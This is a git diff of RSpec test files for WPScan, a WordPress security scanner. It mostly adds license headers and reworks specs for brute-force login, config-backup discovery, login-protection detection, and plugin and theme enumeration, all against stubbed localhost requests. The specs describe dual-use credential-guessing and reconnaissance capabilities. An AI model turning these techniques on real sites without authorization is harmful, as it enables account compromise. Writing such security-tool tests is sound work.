+                "user2 &laquo;  BlogName",
+                "user3 &laquo;  BlogName",
+                "user4 &laquo;  BlogName"]
+      @expected = " &laquo;  BlogName"
+    end
+
+    it "sould return an empty string" do
+      @input = %w{user1 user2 user3 user4}
+      @expected = ""
+    end
+
+    it "sould return an empty string" do
+      @input = ["user1 &laquo;  BlogName",
+                "user2 &laquo;  BlogName",
+                "user3 &laquo;  BlogName",
+                "user4 &laquo;  BlogNamea"]
+      @expected = ""
+    end
+
+    it "sould return an empty string" do
+      @input = %w{ user1 }
+      @expected = ""
+    end
+
+    it "sould return | test" do
+      @input = ["admin | test", "test | test"]
+      @expected = " | test"
+    end
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/updater/git_updater_spec.rb b/spec/lib/updater/git_updater_spec.rb
index 5f534706..f722cae4 100644
--- a/spec/lib/updater/git_updater_spec.rb
+++ b/spec/lib/updater/git_updater_spec.rb
@@ -14,12 +14,12 @@ describe GitUpdater do
 
     it "should return false if the command is not found" do
       @stub_value = "git: command not found"
-      @expected   = false
+      @expected = false
     end
 
     it "should return true if the repo is a git one" do
       @stub_value = "# On branch master\n# Changed but not updated:"
-      @expected   = true
+      @expected = true
     end
   end
 
diff --git a/spec/lib/wpscan/modules/brute_force_spec.rb b/spec/lib/wpscan/modules/brute_force_spec.rb
new file mode 100644
index 00000000..27f3d10a
--- /dev/null
+++ b/spec/lib/wpscan/modules/brute_force_spec.rb
@@ -0,0 +1,72 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+shared_examples_for "BruteForce" do
+  before :each do
+    @module             = WpScanModuleSpec.new("http://example.localhost")
+    @target_url         = @module.uri.to_s
+    @fixtures_dir       = SPEC_FIXTURES_WPSCAN_MODULES_DIR + "/bruteforce"
+    @wordlist           = @fixtures_dir + "/wordlist.txt"
+    @username           = "admin"
+
+    @module.extend(BruteForce)
+    @module.verbose = true
+    Browser.instance.max_threads = 1
+  end
+
+  describe "#lines_in_file" do
+    it "should return 6" do
+      lines = BruteForce.lines_in_file(@wordlist)
+      lines.should == 6
+    end
+  end
+
+  describe "#brute_force" do
+    before :each do
+
+    end
+
+    it "should get the correct password" do
+      passwords = []
+      File.open(@wordlist, "r").each do |password|
+        # ignore comments
+        passwords << password.strip unless password.strip[0,1] == "#"
+      end
+      # Last status must be 302 to get full code coverage
+      passwords.each do ||
+        stub_request(:any, @module.login_url).to_return( { :status => 200, :body => "login_error" },
+                                                         { :status => 0,   :body => "no reponse" },
+                                                         { :status => 50, :body => "server error" },
+                                                         { :status => 999, :body => "invalid" },
+                                                         { :status => 302, :body => "FOUND!" })
+      end
+
+      user = WpUser.new("admin", 1, nil)
+      result = @module.brute_force([user], @wordlist)
+      result.length.should == 1
+      result.should === [{ :name => "admin", :password => "root" }]
+    end
+
+    it "should cover the timeout branch and return an empty array" do
+      stub_request(:any, @module.login_url).to_timeout
+      user = WpUser.new("admin", 1, nil)
+      result = @module.brute_force([user], @wordlist)
+      result.should == []
+    end
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/modules/malwares_spec.rb b/spec/lib/wpscan/modules/malwares_spec.rb
index af2e6878..8ed26a42 100644
--- a/spec/lib/wpscan/modules/malwares_spec.rb
+++ b/spec/lib/wpscan/modules/malwares_spec.rb
@@ -1,9 +1,27 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "Malwares" do
 
   before :each do
-    @module             = WpScanModuleSpec.new('http://example.localhost')
-    @target_url         = @module.uri.to_s
-    @fixtures_dir       = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/malwares'
+    @module = WpScanModuleSpec.new('http://example.localhost')
+    @target_url = @module.uri.to_s
+    @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/malwares'
     @malwares_file_path = @fixtures_dir + '/malwares.txt'
 
     @module.extend(Malwares)
diff --git a/spec/lib/wpscan/modules/web_site_spec.rb b/spec/lib/wpscan/modules/web_site_spec.rb
index 8926a571..18c70ad8 100644
--- a/spec/lib/wpscan/modules/web_site_spec.rb
+++ b/spec/lib/wpscan/modules/web_site_spec.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WebSite" do
   let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/web_site' }
 
@@ -32,14 +50,14 @@ shared_examples_for "WebSite" do
 
     it "should return true if the wp-login is found and is a valid wordpress one" do
       stub_request(:get, @module.login_url).
-        to_return(:status => 200, :body => File.new(fixtures_dir + '/wp-login.php'))
+          to_return(:status => 200, :body => File.new(fixtures_dir + '/wp-login.php'))
 
       @module.is_wordpress?.should be_true
     end
 
     it "should return true if the xmlrpc is found" do
       stub_request(:get, @module.xmlrpc_url).
-        to_return(:status => 200, :body => File.new(fixtures_dir + '/xmlrpc.php'))
+          to_return(:status => 200, :body => File.new(fixtures_dir + '/xmlrpc.php'))
 
       @module.is_wordpress?.should be_true
     end
@@ -67,7 +85,7 @@ shared_examples_for "WebSite" do
     [301, 302].each do |status_code|
       it "should return http://new-location.com if the status code is #{status_code}" do
         stub_request(:get, @module.url).
-          to_return(:status => status_code, :headers => { :location => "http://new-location.com" })
+            to_return(:status => status_code, :headers => {:location => "http://new-location.com"})
 
         @module.redirection.should === "http://new-location.com"
       end
diff --git a/spec/lib/wpscan/modules/wp_config_backup_spec.rb b/spec/lib/wpscan/modules/wp_config_backup_spec.rb
index 35b2d340..02a9669c 100644
--- a/spec/lib/wpscan/modules/wp_config_backup_spec.rb
+++ b/spec/lib/wpscan/modules/wp_config_backup_spec.rb
@@ -1,8 +1,26 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpConfigBackup" do
 
   before :all do
-    @module              = WpScanModuleSpec.new('http://example.localhost')
-    @fixtures_dir        = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_config_backup'
+    @module = WpScanModuleSpec.new('http://example.localhost')
+    @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_config_backup'
     @config_backup_files = WpConfigBackup.config_backup_files
 
     @module.extend(WpConfigBackup)
@@ -16,7 +34,7 @@ shared_examples_for "WpConfigBackup" do
         file_url = @module.uri.merge(URI.escape(backup_file)).to_s
 
         stub_request(:get, file_url).
-          to_return(:status => 404, :body => "")
+            to_return(:status => 404, :body => "")
       end
     end
 
@@ -32,7 +50,7 @@ shared_examples_for "WpConfigBackup" do
         expected << file_url
 
         stub_request(:get, file_url).
-          to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php'))
+            to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php'))
       end
 
       wp_config_backup = @module.config_backup
@@ -49,7 +67,7 @@ shared_examples_for "WpConfigBackup" do
         expected << file_url
 
         stub_request(:get, file_url).
-          to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php'))
+            to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php'))
       end
 
       wp_config_backup = @module.config_backup
@@ -58,4 +76,10 @@ shared_examples_for "WpConfigBackup" do
     end
   end
 
+  describe "#config_backup_files" do
+    it "should not contain duplicates" do
+      WpConfigBackup.config_backup_files.flatten.uniq.length.should == WpConfigBackup.config_backup_files.length
+    end
+  end
+
 end
diff --git a/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb b/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb
index ba682e71..2261597f 100644
--- a/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb
+++ b/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpFullPathDisclosure" do
 
   before :all do
@@ -17,21 +35,21 @@ shared_examples_for "WpFullPathDisclosure" do
 
     it "should return false on a 404" do
       stub_request(:get, @module.full_path_disclosure_url).
-        to_return(:status => 404)
+          to_return(:status => 404)
 
       @module.has_full_path_disclosure?.should be_false
     end
 
     it "should return false if no fpd found (blank page for example)" do
       stub_request(:get, @module.full_path_disclosure_url).
-        to_return(:status => 200, :body => "")
+          to_return(:status => 200, :body => "")
 
       @module.has_full_path_disclosure?.should be_false
     end
 
     it "should return true" do
       stub_request(:get, @module.full_path_disclosure_url).
-        to_return(:status => 200, :body => File.new(@fixtures_dir + '/rss-functions-disclosure.php'))
+          to_return(:status => 200, :body => File.new(@fixtures_dir + '/rss-functions-disclosure.php'))
 
       @module.has_full_path_disclosure?.should be_true
     end
diff --git a/spec/lib/wpscan/modules/wp_login_protection_spec.rb b/spec/lib/wpscan/modules/wp_login_protection_spec.rb
index 0be8636e..2349ded2 100644
--- a/spec/lib/wpscan/modules/wp_login_protection_spec.rb
+++ b/spec/lib/wpscan/modules/wp_login_protection_spec.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpLoginProtection" do
 
   before :each do
@@ -17,16 +35,16 @@ shared_examples_for "WpLoginProtection" do
   # there is not false positive : for example the login-lock must not be detected as login-lockdown
   describe "#has_.*_protection?" do
 
-    pattern         = WpLoginProtection.class_variable_get(:@@login_protection_method_pattern)
-    fixtures        =
-    [
-      "wp-login-clean.php", "wp-login-login_lockdown.php", "wp-login-login_lock.php",
-      "wp-login-better_wp_security.php", "wp-login-simple_login_lockdown.php", "wp-login-login_security_solution.php",
-      "wp-login-limit_login_attempts.php", "wp-login-bluetrait_event_viewer.php"
-    ]
+    pattern = WpLoginProtection::LOGIN_PROTECTION_METHOD_PATTERN
+    fixtures =
+        %w{
+            wp-login-clean.php wp-login-login_lockdown.php wp-login-login_lock.php
+            wp-login-better_wp_security.php wp-login-simple_login_lockdown.php wp-login-login_security_solution.php
+            wp-login-limit_login_attempts.php wp-login-bluetrait_event_viewer.php
+        }
     # For plugins which are detected from the existence of their directory into wp-content/plugins/ (or one of their file)
     # and not from a regex into the login page
-    special_plugins = ["better_wp_security", "simple_login_lockdown", "login_security_solution", "limit_login_attempts", "bluetrait_event_viewer"]
+    special_plugins = %w{better_wp_security simple_login_lockdown login_security_solution limit_login_attempts bluetrait_event_viewer}
 
     after :each do
       stub_request_to_fixture(:url => @module.login_url, :fixture => @fixture)
@@ -37,7 +55,7 @@ shared_examples_for "WpLoginProtection" do
         special_plugin_call_url_symbol = :"#{special_plugin}_url"
 
         status_code = (@symbol_to_call === special_plugin_call_detection_symbol and @expected === true) ? 200 : 404
-        stub_request(:get, @module.send(special_plugin_call_url_symbol)).to_return(:status => status_code)
+        stub_request(:get, @module.send(special_plugin_call_url_symbol).to_s).to_return(:status => status_code)
       end
 
       @module.send(@symbol_to_call).should === @expected
@@ -51,10 +69,10 @@ shared_examples_for "WpLoginProtection" do
         expected = plugin_name_from_fixture === plugin_name_from_symbol ? true : false
 
         it "#{symbol_to_call} with #{fixture} should return #{expected}" do
-          @plugin_name    = plugin_name_from_fixture
-          @fixture        = @fixtures_dir + '/' + fixture
+          @plugin_name = plugin_name_from_fixture
+          @fixture = @fixtures_dir + '/' + fixture
           @symbol_to_call = symbol_to_call
-          @expected       = expected
+          @expected = expected
         end
       end
     end
@@ -64,11 +82,11 @@ shared_examples_for "WpLoginProtection" do
   describe "#login_protection_plugin" do
     after :each do
       stub_request_to_fixture(:url => @module.login_url, :fixture => @fixture)
-      stub_request(:get, @module.send(:better_wp_security_url)).to_return(:status => 404)
-      stub_request(:get, @module.send(:simple_login_lockdown_url)).to_return(:status => 404)
-      stub_request(:get, @module.send(:login_security_solution_url)).to_return(:status => 404)
-      stub_request(:get, @module.send(:limit_login_attempts_url)).to_return(:status => 404)
-      stub_request(:get, @module.send(:bluetrait_event_viewer_url)).to_return(:status => 404)
+      stub_request(:get, @module.send(:better_wp_security_url).to_s).to_return(:status => 404)
+      stub_request(:get, @module.send(:simple_login_lockdown_url).to_s).to_return(:status => 404)
+      stub_request(:get, @module.send(:login_security_solution_url).to_s).to_return(:status => 404)
+      stub_request(:get, @module.send(:limit_login_attempts_url).to_s).to_return(:status => 404)
+      stub_request(:get, @module.send(:bluetrait_event_viewer_url).to_s).to_return(:status => 404)
 
       @module.login_protection_plugin().should === @plugin_expected
       @module.has_login_protection?.should === @has_protection_expected
@@ -82,13 +100,19 @@ shared_examples_for "WpLoginProtection" do
 
     it "should return a login-lockdown WpPlugin object" do
       @fixture = @fixtures_dir + "/wp-login-login_lockdown.php"
-      @plugin_expected = WpPlugin.new(WpPlugin.create_location_url_from_name("login-lockdown", @module.url))
+      @plugin_expected = WpPlugin.new(:base_url => @module.url,
+                                      :path => "/plugins/login-lockdown/",
+                                      :name => "login-lockdown"
+      )
       @has_protection_expected = true
     end
 
     it "should return a login-lock WpPlugin object" do
       @fixture = @fixtures_dir + "/wp-login-login_lock.php"
-      @plugin_expected = WpPlugin.new(WpPlugin.create_location_url_from_name("login-lock", @module.url))
+      @plugin_expected = WpPlugin.new(:base_url => @module.url,
+                                      :path => "/plugins/login-lock/",
+                                      :name => "login-lock"
+      )
       @has_protection_expected = true
     end
   end
diff --git a/spec/lib/wpscan/modules/wp_plugins_spec.rb b/spec/lib/wpscan/modules/wp_plugins_spec.rb
index e319a9e8..406cd628 100644
--- a/spec/lib/wpscan/modules/wp_plugins_spec.rb
+++ b/spec/lib/wpscan/modules/wp_plugins_spec.rb
@@ -1,16 +1,72 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpPlugins" do
 
   before :all do
-    @fixtures_dir      = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_plugins'
-    @plugins_file      = @fixtures_dir + "/plugins.txt"
+    @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_plugins'
+    @plugins_file = @fixtures_dir + "/plugins.txt"
     @plugin_vulns_file = @fixtures_dir + "/plugin_vulns.xml"
+
+    @wp_url = "http://example.localhost/"
   end
 
   before :each do
-    @wp_url = "http://example.localhost"
     @module = WpScanModuleSpec.new(@wp_url)
     @module.error_404_hash = Digest::MD5.hexdigest("Error 404!")
     @module.extend(WpPlugins)
+
+    @options = {:base_url => @wp_url,
+                :only_vulnerable_ones => false,
+                :show_progress_bar => false,
+                :error_404_hash => Digest::MD5.hexdigest("Error 404!"),
+                :vulns_file => @plugin_vulns_file,
+                :file => @plugins_file,
+                :type => "plugins",
+                :wp_content_dir => "wp-content",
+                :vulns_xpath_2 => "//plugin"
+    }
+    File.exist?(@plugin_vulns_file).should == true
+    File.exist?(@plugins_file).should == true
+    @targets = [WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "exclude-pages/exclude_pages.php",
+                              :wp_content_dir => "wp-content",
+                              :name => "exclude-pages"}),
+                WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "display-widgets/display-widgets.php",
+                              :wp_content_dir => "wp-content",
+                              :name => "display-widgets"}),
+                WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "media-library",
+                              :wp_content_dir => "wp-content",
+                              :name => "media-library"}),
+                WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "deans",
+                              :wp_content_dir => "wp-content",
+                              :name => "deans"}),
+                WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "formidable/formidable.php",
+                              :wp_content_dir => "wp-content",
+                              :name => "formidable"}),
+                WpPlugin.new({:base_url => "http://example.localhost/",
+                              :path => "regenerate-thumbnails/readme.txt",
+                              :wp_content_dir => "wp-content",
+                              :name => "regenerate-thumbnails"})]
   end
 
   describe "#plugins_from_passive_detection" do
@@ -18,88 +74,54 @@ shared_examples_for "WpPlugins" do
 
     it "should return an empty array" do
       stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/no_plugins.htm'))
-
-      plugins = @module.plugins_from_passive_detection
+      plugins = @module.plugins_from_passive_detection(:base_url => @module.url, :wp_content_dir => "wp-content")
       plugins.should be_empty
     end
 
     it "should return the expected plugins" do
       stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/various_plugins.htm'))
 
-      expected_plugin_names = [
-        'wp-minify',
-        'comment-info-tip',
-        'tweet-blender',
-        'optinpop',
-        's2member',
-        'wp-polls',
-        'commentluv'
-      ]
+      expected_plugin_names = %w{
+        wp-minify
+        comment-info-tip
+        tweet-blender
+        optinpop
+        s2member
+        wp-polls
+        commentluv
+      }
       expected_plugins = []
       expected_plugin_names.each do |plugin_name|
-        expected_plugins << WpPlugin.new(
-          WpPlugin.create_location_url_from_name(plugin_name, @module.url),
-          :name => plugin_name
-        )
+        expected_plugins << WpPlugin.new(:base_url => @module.url,
+                                         :path => "/plugins/#{plugin_name}/",
+                                         :name => plugin_name)
       end
 
-      plugins = @module.plugins_from_passive_detection
+      plugins = @module.plugins_from_passive_detection(:base_url => @module.url, :wp_content_dir => "wp-content")
       plugins.should_not be_empty
-      plugins.sort.should === expected_plugins.sort
-    end
-  end
-
-  describe "#plugins_targets_url" do
-    let(:expected_for_only_vulnerable) {
-      [WpPlugin.create_location_url_from_name("media-library", @module.url), WpPlugin.create_location_url_from_name("deans", @module.url)]
-    }
-    let(:expected_for_all) {
-      expected_for_only_vulnerable + File.open(@plugins_file, 'r') {|file| file.readlines.collect{|line| WpPlugin.create_url_from_raw(line.chomp, @module.uri)}}.uniq!
-    }
-
-    it "should only return url from plugin_vulns_file if :only_vulnerable_ones is true" do
-      targets_url = @module.plugins_targets_url(
-        :only_vulnerable_ones => true,
-        :plugin_vulns_file => @plugin_vulns_file
-      )
-
-      targets_url.should_not be_empty
-      targets_url.sort.should === expected_for_only_vulnerable.sort
-    end
-
-    it "should return both url from plugins_file and plugin_vulns_file" do
-      targets_url = @module.plugins_targets_url(
-        :plugin_vulns_file => @plugin_vulns_file,
-        :plugins_file => @plugins_file
-      )
-
-      targets_url.should_not be_empty
-      targets_url.sort.should === expected_for_all.sort
+      plugins.length.should == expected_plugins.length
+      plugins.sort.should == expected_plugins.sort
     end
   end
 
   describe "#plugins_from_aggressive_detection" do
 
     before :each do
-      @targets_url = @module.plugins_targets_url(
-        :plugin_vulns_file => @plugin_vulns_file,
-        :plugins_file => @plugins_file
-      )
+      stub_request(:get, @module.uri.to_s).to_return(:status => 200)
       # Point all targets to a 404
-      @targets_url.each do |target_url|
-        stub_request(:get, target_url).to_return(:status => 404)
+      @targets.each do |target|
+        stub_request(:get, target.get_full_url.to_s).to_return(:status => 404)
+        # to_s calls readme_url
+        stub_request(:get, target.readme_url.to_s).to_return(:status => 404)
       end
     end
 
     after :each do
       @passive_detection_fixture = SPEC_FIXTURES_DIR + "/empty-file" unless @passive_detection_fixture
-
-      stub_request_to_fixture(:url => @wp_url, :fixture => @passive_detection_fixture)
-
-      @module.plugins_from_aggressive_detection(
-        :plugins_file => @plugins_file,
-        :plugin_vulns_file => @plugin_vulns_file
-      ).sort.should === @expected_plugins.sort
+      stub_request_to_fixture(:url => "#{@module.uri}/".sub(/\/\/$/, "/"), :fixture => @passive_detection_fixture)
+      detected = @module.plugins_from_aggressive_detection(@options)
+      detected.length.should == @expected_plugins.length
+      detected.sort.should == @expected_plugins.sort
     end
 
     it "should return an empty array" do
@@ -107,25 +129,27 @@ shared_examples_for "WpPlugins" do
     end
 
     it "should return an array with 3 WpPlugin (1 detected from passive method)" do
-      @expected_plugins = []
-
-      @targets_url.sample(2).each do |target_url|
-        @expected_plugins << WpPlugin.new(target_url)
-        stub_request(:get, target_url).to_return(:status => 200)
-      end
-
       @passive_detection_fixture = @fixtures_dir + "/passive_detection/one_plugin.htm"
-      @expected_plugins << WpPlugin.new("http://example.localhost/wp-content/plugins/comment-info-tip/")
+      @expected_plugins = @targets.sample(2)
+      @expected_plugins.each do |p|
+        stub_request(:get, p.get_full_url.to_s).to_return(:status => 200)
+      end
+      new_plugin = WpPlugin.new(:base_url => "http://example.localhost/",
+                                :path => "/plugins/comment-info-tip/",
+                                :name => "comment-info-tip")
+      stub_request(:get, new_plugin.readme_url.to_s).to_return(:status => 200)
+      @expected_plugins << new_plugin
     end
 
     # testing response codes
-    WpPlugins.valid_response_codes.each do |valid_response_code|
+    WpTarget.valid_response_codes.each do |valid_response_code|
       it "should detect the plugin if the reponse.code is #{valid_response_code}" do
         @expected_plugins = []
-
-        plugin_url = @targets_url.sample
-        @expected_plugins << WpPlugin.new(plugin_url)
-        stub_request(:get, plugin_url).to_return(:status => valid_response_code)
+        plugin_url = [@targets.sample(1)[0]]
+        plugin_url.should_not be_nil
+        plugin_url.length.should == 1
+        @expected_plugins = plugin_url
+        stub_request(:get, plugin_url[0].get_full_url.to_s).to_return(:status => valid_response_code)
       end
     end
   end
diff --git a/spec/lib/wpscan/modules/wp_readme_spec.rb b/spec/lib/wpscan/modules/wp_readme_spec.rb
index 4c1057c4..0124bc43 100644
--- a/spec/lib/wpscan/modules/wp_readme_spec.rb
+++ b/spec/lib/wpscan/modules/wp_readme_spec.rb
@@ -1,7 +1,25 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 shared_examples_for "WpReadme" do
 
   before :all do
-    @module       = WpScanModuleSpec.new('http://example.localhost')
+    @module = WpScanModuleSpec.new('http://example.localhost')
     @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_readme'
 
     @module.extend(WpReadme)
@@ -17,14 +35,14 @@ shared_examples_for "WpReadme" do
 
     it "should return false on a 404" do
       stub_request(:get, @module.readme_url).
-        to_return(:status => 404)
+          to_return(:status => 404)
 
       @module.has_readme?.should be_false
     end
 
     it "should return true if it exists" do
       stub_request(:get, @module.readme_url).
-        to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.2.1.html'))
+          to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.2.1.html'))
 
       @module.has_readme?.should be_true
     end
@@ -32,7 +50,7 @@ shared_examples_for "WpReadme" do
     # http://code.google.com/p/wpscan/issues/detail?id=108
     it "should return true even if the readme.html is not in english" do
       stub_request(:get, @module.readme_url).
-        to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.3.2-fr.html'))
+          to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.3.2-fr.html'))
 
       @module.has_readme?.should be_true
     end
diff --git a/spec/lib/wpscan/modules/wp_themes_spec.rb b/spec/lib/wpscan/modules/wp_themes_spec.rb
new file mode 100644
index 00000000..79072983
--- /dev/null
+++ b/spec/lib/wpscan/modules/wp_themes_spec.rb
@@ -0,0 +1,176 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+shared_examples_for "WpThemes" do
+
+  before :all do
+    @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_themes'
+    @themes_file = @fixtures_dir + "/themes.txt"
+    @theme_vulns_file = @fixtures_dir + "/theme_vulns.xml"
+
+    @wp_url = "http://example.localhost/"
+  end
+
+  before :each do
+    @module = WpScanModuleSpec.new(@wp_url)
+    @module.error_404_hash = Digest::MD5.hexdigest("Error 404!")
+    @module.extend(WpThemes)
+
+    @options = {:base_url => @wp_url,
+                :only_vulnerable_ones => false,
+                :show_progress_bar => false,
+                :error_404_hash => Digest::MD5.hexdigest("Error 404!"),
+                :vulns_file => @theme_vulns_file,
+                :file => @themes_file,
+                :type => "themes",
+                :wp_content_dir => "wp-content",
+                :vulns_xpath_2 => "//theme"
+    }
+    File.exist?(@theme_vulns_file).should == true
+    File.exist?(@themes_file).should == true
+    @targets = [WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zenpro/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zenpro"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zeta-zip/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zeta-zip"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zfirst/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zfirst"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zgrey/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zgrey"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zindi-ii/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zindi-ii"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zindi/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zindi"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zombie-apocalypse/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zombie-apocalypse"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zsofa/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zsofa"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "zwei-seiten/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "zwei-seiten"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "twentyten/404.php",
+                             :wp_content_dir => "wp-content",
+                             :name => "twentyten"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "shopperpress",
+                             :wp_content_dir => "wp-content",
+                             :name => "shopperpress"}),
+                WpTheme.new({:base_url => "http://example.localhost/",
+                             :path => "wise",
+                             :wp_content_dir => "wp-content",
+                             :name => "wise"}),
